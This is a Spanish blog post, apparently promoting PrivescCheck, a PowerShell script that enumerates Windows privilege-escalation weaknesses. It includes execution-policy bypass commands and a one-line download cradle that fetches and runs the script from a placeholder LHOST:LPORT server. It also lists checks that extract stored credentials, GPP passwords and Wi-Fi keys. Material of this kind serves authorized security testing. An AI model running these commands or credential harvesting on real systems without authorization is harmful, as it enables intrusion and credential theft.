PrivescCheck Enumeración Escalada Privilegios Windows
PrivescCheck Enumeración Escalada Privilegios Windows

PrivescCheck: Enumeración de Escalada de Privilegios para Windows

PrivescCheck es un script PowerShell de enumeración de escalada de privilegios para Windows. Recopila información diversa.

Este script tiene como objetivo enumerar las configuraciones erróneas de seguridad comunes de Windows que pueden aprovecharse para la escalada de privilegios y recopilar información diversa que podría ser útil para la explotación y/o post-explotación.

Otra herramienta de escalada de privilegios de Windows

Realmente me gusta PowerUp porque puede enumerar vulnerabilidades comunes muy rápidamente y sin usar herramientas de terceros. El problema es que no se ha actualizado desde hace varios años. El otro problema que vi varias veces a lo largo de los años es que a veces arroja falsos positivos que son bastante confusos.

https://github.com/HarmJ0y/PowerUp

Existen otras herramientas en GitHub pero no están tan completas o tienen demasiadas dependencias . Por ejemplo, dependen de llamadas WMI u otras salidas de comando.

Por lo tanto, decidí hacer mi propio script con las siguientes restricciones en mente:

  • No debe usar herramientas de terceros como las accesschk.exe de SysInternals.
  • No debe usar comandos integrados de Windows como whoami.exe o netstat.exe. La razón de esto es que quiero que mi script pueda ejecutarse en entornos donde se aplique AppLocker (o cualquier otra solución de Lista blanca de aplicaciones).
  • No debe usar herramientas integradas de Windows como sc.exeo tasklist.exeporque a menudo obtendrá un error de acceso denegado si intenta usarlas desde WinRM, por ejemplo.
  • No debe usar WMI porque su uso puede restringirse a usuarios solo de administrador.
  • Por último, pero no menos importante, debe ser compatible con PowerShell Versión 2.

Cómo usar PrivescCheck

Usa el script desde un indicador de PowerShell.

PS C:\Temp\> Set-ExecutionPolicy Bypass -Scope Process -Force 
PS C:\Temp\> . .\Invoke-PrivescCheck.ps1; Invoke-PrivescCheck
Escalada Privilegios en Windows
Escalada Privilegios en Windows
  • Mostrar salida y escribir en un archivo de registro al mismo tiempo.
PS C:\Temp\> . .\Invoke-PrivescCheck.ps1; Invoke-PrivescCheck | Tee-Object "C:\Temp\result.txt"
  • Usa el script de un indicador CMD.
C:\Temp\>powershell -ep bypass -c ". .\Invoke-PrivescCheck.ps1; Invoke-PrivescCheck | Tee-Object result.txt"
  • Importe el script desde un servidor web.
C:\Temp\>powershell "IEX (New-Object Net.WebClient).DownloadString('http://LHOST:LPORT/Invoke-PrivescCheck.ps1'); Invoke-PrivescCheck" 

3. Características de Información

Ver Demo Instagram

Usuario actual

Invoke-UserCheck - Obtiene el usernano y el SID del usuario actual
Invoke-UserGroupsCheck - Enumera los grupos a los que pertenece el usuario actual, excepto los predeterminados y los de bajo privilegio
Invoke-UserPrivilegesCheck - Enumera los altos privilegios potenciales del token del usuario actual
Invoke-UserEnvCheck - Comprueba si hay datos sensibles en las variables del entorno

Servicios

Invoke-InstalledServicesCheck - Enumera los servicios que no son de defecto
Invoke-ServicesPermissionsCheck - Enumera los servicios que el usuario actual puede modificar a través del gestor de control de servicios
Invoke-ServicesPermissionsRegistryCheck - Enumera los servicios que pueden ser modificados por el usuario actual en el registro
Invoke-ServicesImagePermissionsCheck - Enumera todos los servicios que tienen un binario (o argumento) modificable
Invoke-ServicesUnquotedPathCheck - Enumera servicios con una ruta no citada que pueden ser explotados

Dll Hijacking

Invoke-DllHijackingCheck - Comprueba si alguna de las carpetas PATH del sistema es modificable
Invoke-HijackableDllsCheck - Lista de DLLs secuestrables dependiendo de la versión del sistema operativo

Credenciales

Invoke-SamBackupFilesCheck - Comprueba las ubicaciones comunes de los archivos de copia de seguridad de SAM/SYSTEM
Invoke-UnattendFilesCheck - Enumera los archivos desatendidos y extrae las credenciales 
Invoke-WinlogonCheck - Comprueba las credenciales almacenadas en la clave de registro Winlogon
Invoke-CredentialFilesCheck - Enumera los archivos de credenciales que se almacenan en las carpetas AppData del usuario actual
Invoke-VaultCredCheck - Enumera las credenciales guardadas en el Administrador de Credenciales
Invoke-VaultListCheck - Enumera las credenciales web guardadas en el Administrador de Credenciales
Invoke-GPPPasswordCheck - Enumera las Preferencias de Política de Grupo (GPP) que contienen un campo "cpassword" no vacío
PrivescCheck Privilegios de Red
PrivescCheck Privilegios de Red

Programas

Invoke-InstalledProgramsCheck - Enumera las aplicaciones que no están instaladas por defecto
Invoke-ModifiableProgramsCheck - Enumera las aplicaciones que tienen un archivo EXE modificable de DLL
Invoke-ApplicationsOnStartupCheck - Enumera las aplicaciones que se ejecutan al inicio
Invoke-RunningProcessCheck - Enumera los procesos en ejecución
Invoke-ScheduledTasksCheck - Enumera las tareas programadas con una ruta modificable
Dll Hijacking y Programas con PowerShell
Dll Hijacking y Programas con PowerShell

Registro

Invoke-UacCheck - Comprueba si el UAC (Control de Acceso de Usuario) está activado
Invoke-LapsCheck - Comprueba si el LAPS (Local Admin Password Solution) está activado
Invoke-PowershellTranscriptionCheck - Comprueba si PowerShell Transcription está configurada/activada
Invoke-RegistryAlwaysInstallElevatedCheck - Comprueba si la clave AlwaysInstallElevated está configurada en el registro
Invoke-LsaProtectionsCheck - Comprueba si el LSASS funciona como un proceso protegido (+ comprobaciones adicionales)
Invoke-WsusConfigCheck - Comprueba si la WSUS está habilitada y es vulnerable (Wsuxploit)

Redes

Invoke-TcpEndpointsCheck - Enumera los puntos finales TCP inusuales en la máquina local (IPv4 e IPv6)
Invoke-UdpEndpointsCheck - Enumera los puntos finales UDP inusuales en la máquina local (IPv4 e IPv6)
Invoke-WlanProfilesCheck - Enumera los perfiles Wifi guardados y extrae la clave de texto claro cuando sea aplicable

Misc

Invoke-WindowsUpdateCheck - Comprueba el último tiempo de actualización de la máquina
Invoke-SystemInfoCheck - Obtiene el nombre del sistema operativo y la cadena de la versión completa
Invoke-LocalAdminGroupCheck - Enumera los miembros del grupo de administración local predeterminado
Invoke-UsersHomeFolderCheck - Enumera las carpetas de inicio de los usuarios locales
Invoke-MachineRoleCheck - Obtiene el papel de la máquina (estación de trabajo, servidor, controlador de dominio)
Invoke-SystemStartupHistoryCheck - Obtiene una lista de eventos de inicio del sistema
Invoke-SystemStartupCheck - Obtiene el último tiempo de inicio del sistema
Invoke-SystemDrivesCheck - Obtiene una lista de unidades locales y redes compartidas que están actualmente mapeadas

Contenido relacionado:

¿Te ha gustado este artículo? Sigue este blog en su fanpage de  Facebook, TELEGRAM, Discord, TwitterInstagram y/o YouTube para que no te pierdas del mejor contenido informático y hacking!

Mi Carro Close (×)

Tu carrito está vacío
Ver tienda